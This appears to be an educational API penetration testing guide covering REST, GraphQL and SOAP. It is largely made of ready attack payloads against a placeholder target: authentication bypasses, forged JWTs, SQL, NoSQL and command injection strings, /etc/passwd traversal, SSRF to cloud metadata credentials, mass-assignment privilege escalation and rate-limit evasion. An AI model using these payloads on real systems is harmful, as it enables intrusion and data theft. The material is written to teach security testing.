kavklaw@llm $ cat api-testing-guide.md
β±οΈ 25 min read Β· Break REST APIs, exploit GraphQL, and bypass authentication like a pro
API testing requires tools to send, intercept, and modify HTTP requests. At minimum, you need curl (comes with every Linux distro) and a proxy for intercepting traffic:
# curl β command-line HTTP client (almost certainly already installed)
curl --version
# Burp Suite β intercepting proxy (essential for real API testing)
# Download Community Edition (free): https://portswigger.net/burp/communitydownload
# Setup: Proxy tab β Options β confirm listener on 127.0.0.1:8080
# Configure your browser/tool to proxy through 127.0.0.1:8080
# Install Burp's CA cert for HTTPS interception
# Postman β GUI API client (good for exploring and documenting APIs)
# Download: https://www.postman.com/downloads/
# Or use the web version: https://web.postman.co
# Alternative CLI tools
sudo apt install httpie # httpie β developer-friendly curl alternative
pip3 install mitmproxy # mitmproxy β terminal-based intercepting proxy
# ffuf β for API endpoint fuzzing
sudo apt install ffuf
# Or: go install github.com/ffuf/ffuf/v2@latest
# jq β command-line JSON parser (essential for API output)
sudo apt install jq
# jwt_tool β for JWT attack testing
git clone https://github.com/ticarpi/jwt_tool.git
pip3 install -r jwt_tool/requirements.txt
For most of this guide, curl + Burp Suite covers everything. Postman is helpful for organizing requests when testing complex APIs with many endpoints. If you're on Kali, curl, ffuf, and jq are already installed.
Found an API? Here's the 90-second attack checklist:
# 1. Find API documentation
curl -s https://target.com/swagger.json
curl -s https://target.com/api-docs
curl -s https://target.com/openapi.json
curl -s https://target.com/graphql -d '{"query":"{__schema{types{name}}}"}'
# 2. Test authentication bypass
curl https://target.com/api/v1/users # No auth
curl -H "Authorization: Bearer null" https://target.com/api/v1/users
curl -H "X-API-Key: test" https://target.com/api/v1/users
# 3. Test IDOR/BOLA (change the ID)
curl -H "Authorization: Bearer YOUR_TOKEN" https://target.com/api/v1/users/1
curl -H "Authorization: Bearer YOUR_TOKEN" https://target.com/api/v1/users/2 # Other user's data?
# 4. Test injection
curl -d '{"username":"admin'\''","password":"test"}' https://target.com/api/login # SQLi
curl -d '{"search":"{\"$gt\":\"\"}"}' https://target.com/api/search # NoSQLi
An API (Application Programming Interface) is how software programs talk to each other. When you use a mobile app, it's making API calls to a server behind the scenes. Understanding the API type determines your attack approach. Each has unique vulnerabilities and testing techniques.
REST (Representational State Transfer) uses standard HTTP methods on resource-based URLs. Each URL represents a specific resource (like a user or an order), and the HTTP method (GET, POST, PUT, DELETE) tells the server what action to take. These URLs are called endpoints:
GET /api/v1/users # List all users
GET /api/v1/users/123 # Get specific user
POST /api/v1/users # Create a user
PUT /api/v1/users/123 # Update a user (full)
PATCH /api/v1/users/123 # Update a user (partial)
DELETE /api/v1/users/123 # Delete a user
Data format is usually JSON (sometimes XML). Authentication uses Bearer tokens, API keys, OAuth, or cookies. Documentation comes as Swagger/OpenAPI, RAML, or API Blueprint.
Key characteristics to exploit:
GraphQL is a query language for APIs β a single endpoint where the client specifies what data it wants. Usually found at:
POST /graphql
POST /api/graphql
POST /v1/graphql
Query example:
{
user(id: 123) {
name
email
role # Can you query admin-only fields?
password # What happens if you ask for sensitive fields?
}
}
Key characteristics to exploit:
SOAP (Simple Object Access Protocol) uses XML for requests/responses, typically over HTTP POST. WSDL (Web Services Description Language) describes the API:
curl https://target.com/service?wsdl
SOAP request structure:
<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetUser xmlns="http://target.com/api">
<userId>123</userId>
</GetUser>
</soap:Body>
</soap:Envelope>
Key characteristics to exploit:
Before testing, you need to find the API endpoints. APIs hide in many places.
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β API Testing Attack Flow β
β β
β ββββββββββββ ββββββββββββ ββββββββββββ ββββββββββββββββ β
β β Discovery ββββΆβ Auth ββββΆβ Authz ββββΆβ Injection & β β
β β & Docs β β Testing β β (BOLA) β β Logic Flaws β β
β ββββββββββββ ββββββββββββ ββββββββββββ ββββββββββββββββ β
β β β β
β βΌ βΌ β
β Swagger/JS/ JWT attacks, SSRF, Mass Assignment, β
β Wayback/Fuzz Key bypass Rate Limit Bypass β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Common API documentation paths:
for path in swagger.json openapi.json api-docs swagger/v1/swagger.json \
api/swagger.json v1/api-docs v2/api-docs api/v1/swagger.json \
api/docs api/schema api/openapi.yaml graphql .well-known/openapi; do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://target.com/$path")
[ "$code" != "404" ] && echo "[+] $path β HTTP $code"
done
# Fuzz for API endpoints
ffuf -u https://target.com/api/v1/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt
ffuf -u https://target.com/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt
# Analyze JavaScript files for API calls (often contain hardcoded endpoints, keys, internal URLs)
curl -s https://target.com/main.js | grep -oP '["'"'"'](\/api\/[^"'"'"']*?)["'"'"']' | sort -u
# Use LinkFinder to extract endpoints from JS
python3 linkfinder.py -i https://target.com/main.js -o cli
# Wayback Machine for historical API endpoints
echo target.com | waybackurls | grep -i "api\|graphql\|rest\|v[0-9]" | sort -u
# Check robots.txt and sitemap.xml
curl -s https://target.com/robots.txt | grep -i api
curl -s https://target.com/sitemap.xml | grep -i api
For Burp Suite passive analysis: spider the web app β all API calls appear in Proxy history. Filter by MIME type = JSON to find API endpoints.
π‘ Pro Tip: JavaScript files are the single best source for API endpoint discovery. Modern SPAs (React, Angular, Vue) have every API call embedded in the client-side code. Download all JS files and search them for fetch(), axios, XMLHttpRequest, API paths, and hardcoded tokens.
API authentication is often weaker than web app authentication because APIs are designed for programmatic access (software talking to software, not humans clicking login buttons).
API keys are often in headers, query params, or request body. Common header names:
X-API-Key: KEY
Authorization: ApiKey KEY
Api-Key: KEY
X-Auth-Token: KEY
Test if the API works without any authentication, or with empty/null values:
# Test without authentication
curl https://target.com/api/v1/users
# Test with empty/null values
curl -H "X-API-Key: " https://target.com/api/v1/users
curl -H "X-API-Key: null" https://target.com/api/v1/users
curl -H "X-API-Key: undefined" https://target.com/api/v1/users
curl -H "X-API-Key: true" https://target.com/api/v1/users
# Test if API key is validated per-endpoint (sometimes only certain endpoints check auth)
curl -H "X-API-Key: VALID_KEY" https://target.com/api/v1/public # β
curl https://target.com/api/v1/admin # Does this work without auth?
Search for exposed API keys:
"target.com" api_keygrep -r "api[_-]key" *.js.env, config.js, settings.py# Test token removal
curl https://target.com/api/v1/admin # No Authorization header
# Test with invalid tokens
curl -H "Authorization: Bearer invalidtoken" https://target.com/api/v1/admin
curl -H "Authorization: Bearer AAAA" https://target.com/api/v1/admin
# Test with empty bearer
curl -H "Authorization: Bearer " https://target.com/api/v1/admin
curl -H "Authorization: " https://target.com/api/v1/admin
# Test switching auth methods (admin:admin in base64 β does Basic auth work?)
curl -H "Authorization: Basic YWRtaW46YWRtaW4=" https://target.com/api/v1/admin
Also test OAuth token reuse β is the token tied to a specific client? Try using Token A (from mobile app) against the web API, and Token B (from web) against the mobile API.
JSON Web Tokens (JWTs) are widely used for API authentication. A JWT is a string with three parts separated by dots: header, payload, and signature. The header and payload are just base64-encoded JSON (anyone can read them!). The signature proves the token hasn't been tampered with -- but only if the server validates it properly. JWTs have several well-known attack vectors.
JWT structure: HEADER.PAYLOAD.SIGNATURE (base64url encoded). Example: eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiam9obiIsInJvbGUiOiJ1c2VyIn0.SIGNATURE
# Decode a JWT (base64 decode each part)
echo "eyJhbGciOiJIUzI1NiJ9" | base64 -d
# {"alg":"HS256"}
echo "eyJ1c2VyIjoiam9obiIsInJvbGUiOiJ1c2VyIn0" | base64 -d
# {"user":"john","role":"user"}
ATTACK 1: Algorithm None β change the algorithm to "none" so the signature isn't verified. Header: {"alg":"none"}, Payload: {"user":"admin","role":"admin"}. Note the trailing dot (empty signature):
python3 -c "
import base64, json
header = base64.urlsafe_b64encode(json.dumps({'alg':'none'}).encode()).rstrip(b'=')
payload = base64.urlsafe_b64encode(json.dumps({'user':'admin','role':'admin'}).encode()).rstrip(b'=')
print(f'{header.decode()}.{payload.decode()}.')
"
ATTACK 2: Algorithm Confusion (RS256 β HS256) β if the server uses RS256 (asymmetric), switch to HS256 (symmetric) and sign with the server's PUBLIC key as the HMAC secret. The server verifies with the public key β matches!
ATTACK 3: Weak Secret Key β brute force the HMAC secret:
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
ATTACK 4: Key ID (kid) Injection β the kid header can be a path or SQL:
# Path traversal: signs with empty file β predictable signature
{"alg":"HS256","kid":"../../dev/null"}
# SQL injection in kid parameter
{"alg":"HS256","kid":"key'; SELECT 'secret' FROM keys--"}
ATTACK 5: Token Expiration β change exp claim to a future date: {"user":"admin","role":"admin","exp":9999999999}
jwt_tool β automated JWT testing:
python3 jwt_tool.py TOKEN -T # Tamper mode
python3 jwt_tool.py TOKEN -C # Crack HMAC secret
python3 jwt_tool.py TOKEN -X a # Algorithm none attack
python3 jwt_tool.py TOKEN -X k # Key confusion attack
π‘ Pro Tip: Use jwt.io to decode tokens quickly. Check the payload for role fields (role, admin, is_admin, permissions) and try modifying them. The "alg:none" attack is banned in most modern libraries, but algorithm confusion (RS256βHS256) still works surprisingly often.
BOLA (Broken Object Level Authorization) -- also known as IDOR (Insecure Direct Object Reference) -- is the #1 API vulnerability according to OWASP (the Open Web Application Security Project, the industry standard for web security). In plain English: the API checks that you're logged in, but doesn't check that the data you're requesting actually belongs to you. So you can access other users' data just by changing an ID number in the URL.
# Basic IDOR test β change the resource ID
# Logged in as user 5:
GET /api/v1/users/5/profile # Your profile β
GET /api/v1/users/1/profile # Admin's profile? β IDOR!
GET /api/v1/users/6/profile # Another user's profile? β IDOR!
# Test with different ID formats:
GET /api/v1/orders/1001 # Sequential integer
GET /api/v1/orders/1002 # Next order (different user?)
GET /api/v1/documents/abc-123 # UUID β harder to guess, but try...
GET /api/v1/files/report.pdf # Filename-based reference
# IDOR in POST/PUT/DELETE β not just reading, but modifying!
PUT /api/v1/users/1/profile # Can you modify another user's profile?
{"email":"[email protected]"} # Change their email for password reset!
DELETE /api/v1/users/1 # Can you delete another user?
POST /api/v1/users/1/password-reset # Reset another user's password?
# IDOR via parameter pollution
GET /api/v1/profile?user_id=5 # Your profile
GET /api/v1/profile?user_id=1 # Admin's profile?
# IDOR in request body
POST /api/v1/transfer
{"from_account":"YOUR_ID","to_account":"ATTACKER","amount":1000}
# Change from_account to another user's ID
# Broken Function Level Authorization (BFLA)
# Regular user endpoints vs admin endpoints:
GET /api/v1/users # Regular user β returns your own data
GET /api/v1/admin/users # Admin endpoint β does it check authorization?
DELETE /api/v1/admin/users/5 # Admin action β can a regular user do this?
# HTTP method switching
GET /api/v1/users/1 # Returns 403 Forbidden
POST /api/v1/users/1 # Returns data? Different auth check?
PUT /api/v1/users/1 # What about PUT?
# Test with different content types
# Sometimes JSON auth check differs from form-data
curl -H "Content-Type: application/json" -d '{"id":1}' https://target.com/api/users
curl -H "Content-Type: application/x-www-form-urlencoded" -d "id=1" https://target.com/api/users
π‘ Pro Tip: For IDORs with UUIDs, look for UUID leakage in other API responses, error messages, HTML source, JS files, or Wayback Machine archives. Also try UUID v1 which encodes timestamps and MAC addresses -- you can predict adjacent UUIDs.
/api/v1/users/5 to /api/v1/users/1).$ curl -X POST https://target.com/graphql -d '{"query":"{{types{name fields{name}}}}"}'
__schema introspection query is a built-in GraphQL feature that reveals the entire API schema β all types, fields, queries, and mutations. Many developers disable the GraphiQL UI but forget to disable introspection queries themselves.id, name, email, role. The update endpoint accepts JSON via PUT. Which attack should you attempt to escalate privileges?role appears in the GET response, it's likely a model field β try sending it in the PUT request. APIs using auto-binding frameworks (Rails, Django REST, Spring) are especially vulnerable.# JSON body injection
POST /api/v1/login
{"username":"admin' OR 1=1--","password":"anything"}
# JSON field injection
POST /api/v1/search
{"query":"test' UNION SELECT username,password FROM users--"}
# Filter/sort parameter injection
GET /api/v1/products?sort=name;DROP TABLE users--
GET /api/v1/products?filter=category' OR '1'='1
GET /api/v1/products?order=price,(SELECT password FROM users LIMIT 1)
# GraphQL injection
{
user(name: "admin' OR '1'='1") {
id
email
password
}
}
NoSQL databases (like MongoDB) use query operators instead of SQL syntax. NoSQL injection exploits how these operators are parsed β instead of sending a string password, you send a query operator object that always evaluates to true, bypassing authentication.
# MongoDB operator injection (very common in Node.js/Express APIs)
# Bypass login:
POST /api/v1/login
{"username":"admin","password":{"$gt":""}}
# β Password "greater than empty string" = always true
# Dump all users:
POST /api/v1/login
{"username":{"$regex":".*"},"password":{"$regex":".*"}}
# Extract data character by character:
{"username":"admin","password":{"$regex":"^a.*"}} # Starts with 'a'?
{"username":"admin","password":{"$regex":"^ab.*"}} # Starts with 'ab'?
# Test in query parameters:
GET /api/v1/users?username[$ne]=invalid # All users where username != "invalid"
GET /api/v1/users?role[$eq]=admin # All admin users
# $where injection (server-side JavaScript execution!)
{"$where":"this.username == 'admin' && this.password.match(/^a/)"}
# APIs that process user input on the backend may be vulnerable
POST /api/v1/tools/ping
{"host":"8.8.8.8; id"} # Command chaining
{"host":"8.8.8.8 | id"} # Pipe
{"host":"$(id)"} # Command substitution
{"host":"`id`"} # Backtick substitution
{"host":"8.8.8.8\nid"} # Newline injection
# File path injection
GET /api/v1/files?name=../../../../etc/passwd
GET /api/v1/files?name=....//....//....//etc/passwd
POST /api/v1/convert {"file":"file:///etc/passwd"}
Mass assignment (also called auto-binding) happens when an API blindly accepts all fields you send it and saves them to the database β even fields you're not supposed to control. Many web frameworks (Rails, Django, Spring) automatically map incoming JSON fields to database columns for convenience. The vulnerability: if the API has a "role" field in the database, and you include "role":"admin" in your update request, a vulnerable API will set your role to admin. The developer only expected you to send "name" and "email," but the framework accepted everything.
# Normal profile update request:
PUT /api/v1/users/me
{"name":"John","email":"[email protected]"}
# Mass assignment attack β add extra fields:
PUT /api/v1/users/me
{
"name": "John",
"email": "[email protected]",
"role": "admin", # β Escalate to admin!
"is_admin": true, # β Another common field name
"credits": 99999, # β Give yourself credits
"verified": true, # β Skip email verification
"password_reset_token": "" # β Clear someone's reset token
}
# How to find hidden parameters:
# 1. Check API documentation (Swagger) for all model fields
# 2. Look at GET responses β fields you can READ might be WRITABLE
# 3. Look at error messages β they might reveal field names
# 4. Fuzz with common field names: role, admin, is_admin, permissions, group, type
# Registration mass assignment:
POST /api/v1/register
{
"username": "attacker",
"password": "password123",
"email": "[email protected]",
"role": "admin" # β Register as admin!
}
# Transfer/payment mass assignment:
POST /api/v1/transfer
{
"to": "attacker",
"amount": 100,
"fee": 0, # β Remove the fee
"currency": "USD",
"approved": true # β Auto-approve
}
Techniques to bypass API rate limiting:
1. Add/change headers that proxies use for client identification (rotate the IP value on each request):
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
2. Change API endpoint casing/encoding:
/api/v1/login
/Api/V1/Login
/api/v1/login/
/api/v1/login%00
/api/v1/./login
/api/v1/login?dummy=1
/api/v1/login#
3. Switch HTTP method: POST /api/v1/login β PUT /api/v1/login
4. Add null bytes or extra parameters: POST /api/v1/login?param=value, POST /api/v1/login%00
5. Use different content types: Content-Type: application/json β application/xml
6. Distribute across API versions: /api/v1/login, /api/v2/login, /api/v3/login
7. For OTP/PIN brute forcing β add spaces/special characters:
{"otp":"1234"}
{"otp":"1234 "}
{"otp":" 1234"}
{"otp":"1234\n"}
8. IP rotation β use a pool of proxies or rotate source IPs if you control multiple.
$ curl -H " 127.0.0.1" https://target.com/api/v1/login
X-Forwarded-For header tells the server the original client IP when behind a proxy. Many rate limiters use this header for client identification. By rotating the IP value on each request, you can bypass per-IP rate limits.SSRF (Server-Side Request Forgery) tricks the server into making HTTP requests on your behalf β essentially using the target server as a proxy to reach things you can't access directly. Why does this matter? Servers often sit on internal networks with access to databases, admin panels, and cloud metadata services that are blocked from the internet. If an API endpoint accepts a URL as input (for webhooks, URL validators, file importers, or preview generators), you can point it at these internal services. These are prime SSRF targets.
# Common SSRF-prone API endpoints:
POST /api/v1/webhooks {"url":"http://internal:8080/admin"}
POST /api/v1/import {"source":"http://169.254.169.254/latest/meta-data/"}
POST /api/v1/preview {"url":"http://localhost:6379/"}
POST /api/v1/screenshot {"url":"file:///etc/passwd"}
POST /api/v1/proxy {"target":"http://internal-api:3000/secrets"}
# Cloud metadata SSRF (AWS)
POST /api/v1/fetch
{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
# β Returns AWS IAM credentials!
# Internal network scanning via SSRF
# Use response time or error differences to identify open ports
for port in 22 80 443 3306 5432 6379 8080 9200; do
response=$(curl -s -o /dev/null -w "%{http_code}:%{time_total}" \
-d "{\"url\":\"http://192.168.1.1:$port/\"}" \
https://target.com/api/v1/fetch)
echo "Port $port: $response"
done
# Bypass SSRF filters:
# URL encoding: http://169.254.169.254 β http://%31%36%39.%32%35%34.%31%36%39.%32%35%34
# Decimal IP: http://2852039166/ (decimal for 169.254.169.254)
# Hex IP: http://0xa9fe.0xa9fe/
# IPv6: http://[::ffff:169.254.169.254]/
# DNS rebinding: Register a domain that resolves to 169.254.169.254
# Redirect: Host a page that 302-redirects to the internal target
# Short URL: Use bit.ly or similar to mask the internal URL
# Old API versions often have fewer security controls
# Test different version formats:
/api/v1/users
/api/v2/users
/api/v3/users
/api/v0/users # Internal/beta version?
/api/beta/users
/api/internal/users
/api/dev/users
/api/staging/users
# Headers:
Accept: application/vnd.target.v1+json
Accept: application/vnd.target.v2+json
X-API-Version: 1
X-API-Version: 2
Api-Version: 1.0
Api-Version: 2.0
# Scenario: v2 added input validation, but v1 still works
POST /api/v2/users {"name":"admin"} # Blocked
POST /api/v1/users {"name":"admin"} # Works!
# Scenario: v3 added authorization check, v1 didn't
GET /api/v3/admin/users # 403 Forbidden
GET /api/v1/admin/users # 200 OK β returns all users!
Full introspection query β reveals the entire API schema:
POST /graphql
{"query": "{__schema{queryType{name}mutationType{name}types{name fields{name type{name kind ofType{name}}}}}}"}
# Get all types
{"query": "{__schema{types{name description fields{name}}}}"}
# Get all queries and mutations
{"query": "{__schema{queryType{fields{name description args{name type{name}}}}}}"}
{"query": "{__schema{mutationType{fields{name description args{name type{name}}}}}}"}
If introspection is disabled, try these techniques:
# 1. Malformed query β error messages reveal field names
{"query": "{__type(name: \"User\"){name fields{name}}}"}
# 2. Field suggestion exploitation
{"query": "{user{passwor}}"}
# Error: "Did you mean 'password'?" β Field name leaked!
3. Use tools like clairvoyance for blind introspection.
Send multiple operations in a single request to bypass rate limiting β one HTTP request, many operations:
# Brute force login via batching:
POST /graphql
[
{"query": "mutation{login(username:\"admin\",password:\"password1\"){token}}"},
{"query": "mutation{login(username:\"admin\",password:\"password2\"){token}}"},
{"query": "mutation{login(username:\"admin\",password:\"password3\"){token}}"},
{"query": "mutation{login(username:\"admin\",password:\"password4\"){token}}"},
{"query": "mutation{login(username:\"admin\",password:\"password5\"){token}}"}
]
# β One request, five login attempts β rate limiter sees ONE request!
# OTP brute force via aliases:
POST /graphql
{"query": "
mutation {
otp0: verifyOTP(code: \"0000\") { success }
otp1: verifyOTP(code: \"0001\") { success }
otp2: verifyOTP(code: \"0002\") { success }
otp3: verifyOTP(code: \"0003\") { success }
...
}
"}
# Nested query attack (resource exhaustion)
{
users {
posts {
comments {
author {
posts {
comments {
author {
posts { title } # Deeply nested β exponential database queries
}
}
}
}
}
}
}
}
# SQL injection through GraphQL
{
user(name: "admin' UNION SELECT password FROM users--") {
id
email
}
}
# NoSQL injection through GraphQL
{
users(filter: {username: {$regex: ".*"}}) {
id
username
password
}
}
Burp Suite β intercept and modify API requests:
Essential Burp extensions for API testing:
Postman β API documentation and testing:
{{auth_token}}Postman pre-request script for auto-auth:
// Automatically get a fresh token before each request
pm.sendRequest({
url: pm.environment.get("base_url") + "/api/v1/login",
method: "POST",
header: {"Content-Type": "application/json"},
body: {
mode: "raw",
raw: JSON.stringify({
username: pm.environment.get("username"),
password: pm.environment.get("password")
})
}
}, function(err, res) {
pm.environment.set("auth_token", res.json().token);
});
Other useful tools:
SecLists API wordlists (essential):
/usr/share/seclists/Discovery/Web-Content/api/
api-endpoints.txt # Common API endpoints
api-endpoints-res.txt # API resource names
objects.txt # Common object names
/usr/share/seclists/Discovery/Web-Content/
common.txt # General web paths
raft-medium-words.txt # Medium wordlist
/usr/share/fuzzdb/discovery/predictable-filepaths/
Custom API wordlist approach β combine findings from:
Generate parameter wordlists from API responses. If GET /api/v1/users returns {"id":1,"name":"john","email":"...","role":"user"}, test PUT with each field (id, name, email, role) and try common extras: admin, is_admin, permissions, group, type, status.
HTTP parameter pollution β for each parameter, try:
?param=value¶m=evil # Duplicate parameter
?param[]=value¶m[]=evil # Array parameter
?param=value%00evil # Null byte injection
β Mistake #1: Only testing GET endpoints.
Many authorization vulnerabilities only appear on POST/PUT/DELETE operations. An API might correctly restrict reading other users' data but fail to prevent modifying it. Test all HTTP methods on every endpoint.
β Mistake #2: Not checking JavaScript files.
Frontend JavaScript contains the complete API surface -- endpoints, parameters, sometimes even hardcoded API keys and admin endpoints. Always download and analyze JS bundles.
β Mistake #3: Ignoring old API versions.
/api/v1/might still work even though/api/v3/is current. Old versions often lack security patches, input validation, and authorization checks that were added later.
β Mistake #4: Not testing GraphQL introspection.
Many developers disable the GraphiQL UI but forget to disable introspection queries. The schema dump reveals every type, field, query, and mutation -- including admin-only operations.
β Mistake #5: Forgetting about mass assignment.
If the API returns arolefield in the response, try sendingrolein the request body. APIs that use auto-binding frameworks (Rails, Django REST, Spring) are especially vulnerable.
β Mistake #6: Only testing in the browser.
APIs aren't designed for browsers. Use dedicated tools (Burp, Postman, curl, httpie) that let you control every aspect of the request -- headers, methods, body formats, encoding.
/api/v3/admin/users returns 403 Forbidden, but /api/v1/admin/users returns 200 OK with all user data. What vulnerability class does this represent?